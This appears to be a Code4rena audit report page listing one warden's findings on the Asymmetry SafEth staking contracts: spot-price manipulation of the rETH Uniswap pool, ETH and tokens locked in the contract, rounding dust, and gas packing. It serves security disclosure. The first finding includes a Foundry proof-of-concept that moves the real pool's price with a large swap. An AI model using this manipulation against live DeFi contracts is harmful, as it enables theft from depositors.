Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 84/246
Findings: 3
Award: $52.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L241
Currently, all deposit operations split the received ETH between derivatives. One of them is rETH, trading on Pool 0xa4e0faA58465A2D369aa21B3e42d43374c6F9613 with around ~1500 ETH in liquidity for each side.
The price calculation for splitting deposits into derivatives is made using Uniswaps' V3 sqrtPriceX96
as expressed in the following function
function poolPrice() private view returns (uint256) { address rocketTokenRETHAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketTokenRETH") ) ); IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2); }
However, these price can be manipulated, letting a user inflating the supply in the contract.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;
import "./fixtures/SafEthSetup.sol";
contract SafEthTest is SafeEthSetup { address RETH_TOKEN_ADDRESS = 0xae78736Cd615f374D3085123A210448E74Fc6393; address W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
function test_alterBalance() public { (bool success, ) = address(safEth).call{value: 1 ether}(""); require(success); assertEq(safEth.totalSupply(), 0); assertEq(address(safEth).balance, 1 ether); } function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes memory data ) external { IERC20(RETH_TOKEN_ADDRESS).transfer( address(msg.sender), uint256(amount0Delta) ); } function test_manipulateReth() public { // Random address with balance vm.startPrank(0xBA12222222228d8Ba445958a75a0704d566BF2C8); vm.label(0xBA12222222228d8Ba445958a75a0704d566BF2C8, "Attacker"); IERC20(RETH_TOKEN_ADDRESS).transfer(address(this), 10_000 ether); vm.stopPrank(); IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(RETH_TOKEN_ADDRESS, W_ETH_ADDRESS, 500) ); (uint160 sqrtPriceX96Before, , , , , , ) = pool.slot0(); console.log(sqrtPriceX96Before); pool.swap( 0xBA12222222228d8Ba445958a75a0704d566BF2C8, true, 10_000 ether, 4295128739 + 1, "" ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); console.log(sqrtPriceX96); assertTrue(sqrtPriceX96 < sqrtPriceX96Before / 10); // 10% }
}
Use a TWAP instead https://blog.uniswap.org/uniswap-v3-oracles
#0 - c4-pre-sort
2023-04-04T11:16:58Z
0xSorryNotSorry marked the issue as duplicate of #601
#1 - c4-judge
2023-04-21T16:11:46Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-04-21T16:15:38Z
Picodes marked the issue as duplicate of #1125
🌟 Selected for report: brgltd
Also found by: 0x3b, 0xAgro, 0xGusMcCrae, 0xNorman, 0xRajkumar, 0xSmartContract, 0xTraub, 0xWagmi, 0xWaitress, 0xffchain, 0xhacksmithh, 0xkazim, 0xnev, 3dgeville, ArbitraryExecution, Aymen0909, BRONZEDISC, Bason, Bloqarl, BlueAlder, Brenzee, CodeFoxInc, CodingNameKiki, Cryptor, DadeKuma, DevABDee, Diana, Dug, Englave, Gde, Haipls, HollaDieWaldfee, Ignite, Infect3d, Jerry0x, Josiah, Kaysoft, Koko1912, KrisApostolov, Lavishq, LeoGold, Madalad, PNS, Rappie, RaymondFam, RedTiger, Rickard, Rolezn, Sathish9098, SunSec, T1MOH, UdarTeam, Udsen, Viktor_Cortess, Wander, adriro, ak1, alejandrocovrr, alexzoid, arialblack14, ayden, bin2chen, brevis, btk, c3phas, carlitox477, catellatech, ch0bu, chaduke, ck, climber2002, codeslide, descharre, dingo2077, ernestognw, fatherOfBlocks, favelanky, georgits, helios, hl_, inmarelibero, juancito, ks__xxxxx, lopotras, lukris02, m_Rassska, mahdirostami, maxper, nadin, navinavu, nemveer, p_crypt0, peanuts, pipoca, pixpi, qpzm, rbserver, reassor, roelio, rotcivegaf, scokaf, siddhpurakaran, slvDev, smaul, tnevler, tsvetanovv, turvy_fuzz, vagrant, wen, yac, zzzitron
42.0604 USDC - $42.06
The SafEth.sol
contract contains a receive() external payable
function that allows depositing into the contract directly. However, there's no sweeping mechanism for ETH in the contract and the only way to get withdraw ETH from the contract is by calling unstake()
which only sends the difference in ETH after exchanging the derivatives.
With the current configuration, any excedent ETH on the contract will be locked.
Consider the following test using Foundry:
// @notice Test function test_alterBalance() public { _deploy(); (bool success, ) = address(safEth).call{value: 1 ether}(""); require(success); assertEq(safEth.totalSupply(), 0); assertEq(address(safEth).balance, 1 ether); } function _deploy() internal { // Implementations of these omitted for clarity _deploySafETH(); _deployDerivatives(); _addDerivatives(); }
Whitelist the allowed callers of the receive()
function, so compatibility with derivatives is not broken. Also, consider calling stake()
on every receive()
execution for every non-whitelisted caller.
OpenZeppelin's EnumerableSet is recommended for the whitelisting mechanism.
stake()
can lock ETH up to derivativeCount
weiWhile computing ethAmount
inside the stake()
function in line 87 of the SafEth.sol
contract, there's a rounding error of 1 wei before depositing on each derivative, leaving small amounts of ETH in the contract.
uint256 ethAmount = (msg.value * weight) / totalWeight;
Although this can be considered negligible since the minimum deposit is 0.5 ether
, it's recommended to have a mechanism of sweeping the loss funds if they become relevant enough. Otherwise, these can be carried in the same line by adding the current contract balance (although it may increase gas costs and be potentially dangerous if the receive()
function issue is not resolved).
Since there's no mechanism for accepting ERC20 transfers, the SafEth
contract is by default capable of receiving tokens, which means that if a user sends derivative tokens directly to the contract, they'll be stuck in a similar way to the ETH case for the receive()
function.
It's recommended to add a function for sweeping the stuck tokens, a mechanism to withdraw them, or a way to account them into their respective IDerivative
interface.
unstake()
can lock 1 unit of each derivativeSimilar to calling stake()
, the unstake()
function contains a rounding error issue in line 116 for the derivativeAmount
variable:
114: // withdraw a percentage of each asset based on the amount of safETH 115: uint256 derivativeAmount = (derivatives[i].balance() * 116: _safEthAmount) / safEthTotalSupply;
Although the rounding issue is in favor of the protocol and already accounted into the balance, it makes the unstake()
function break the invariant of totalSupply()
=== sum of derivatives[i].balance()
assuming each derivative value is 1 ether
#0 - c4-pre-sort
2023-03-31T10:14:14Z
0xSorryNotSorry marked the issue as low quality report
#1 - c4-sponsor
2023-04-10T19:03:03Z
elmutt marked the issue as sponsor confirmed
#2 - c4-judge
2023-04-24T18:53:44Z
Picodes marked the issue as grade-a
🌟 Selected for report: Rolezn
Also found by: 0x3b, 0xGordita, 0xSmartContract, 0xhacksmithh, 0xnev, 0xpanicError, 4lulz, Angry_Mustache_Man, ArbitraryExecution, Aymen0909, Bason, BlueAlder, EvanW, Franfran, HHK, Haipls, IgorZuk, JCN, KrisApostolov, Madalad, MiksuJak, MiniGlome, RaymondFam, ReyAdmirado, Rickard, Sathish9098, Udsen, adriro, alexzoid, anodaram, arialblack14, c3phas, carlitox477, ch0bu, chaduke, codeslide, d3e4, dicethedev, ernestognw, fatherOfBlocks, georgits, hunter_w3b, inmarelibero, lukris02, mahdirostami, maxper, pavankv, pixpi, rotcivegaf, smaul, tank, tnevler, wen, yac
10.7864 USDC - $10.79
SafEthStorage
variables for lesser storage accessesConsidering that stake()
is reasonably expected to be the most-called function, it currently accesses 5 storage slots while reading the following variables:
pauseStaking
derivativeCount
totalWeight
minAmount
maxAmount
However, both derivativeCount
and totalWeight
are not expected to grow much, so they can be packed along with pauseStaking
, and for the case of minAmount
and maxAmount
both current values hardcoded in the contract can fit in uin128
to be packed together.
Concretely, the arrangement proposed is the following:
contract SafEthStorage { bool public pauseStaking; // true if staking is paused bool public pauseUnstaking; // true if unstaking is pause uint120 public derivativeCount; // amount of derivatives added to contract uint120 public totalWeight; // total weight of all derivatives (used to calculate percentage of derivative) uint128 public minAmount; // minimum amount to stake uint128 public maxAmount; // maximum amount to stake ... }
#0 - c4-pre-sort
2023-03-31T10:08:25Z
0xSorryNotSorry marked the issue as low quality report
#1 - c4-sponsor
2023-04-10T20:02:08Z
elmutt marked the issue as sponsor confirmed
#2 - c4-judge
2023-04-23T19:24:31Z
Picodes marked the issue as grade-b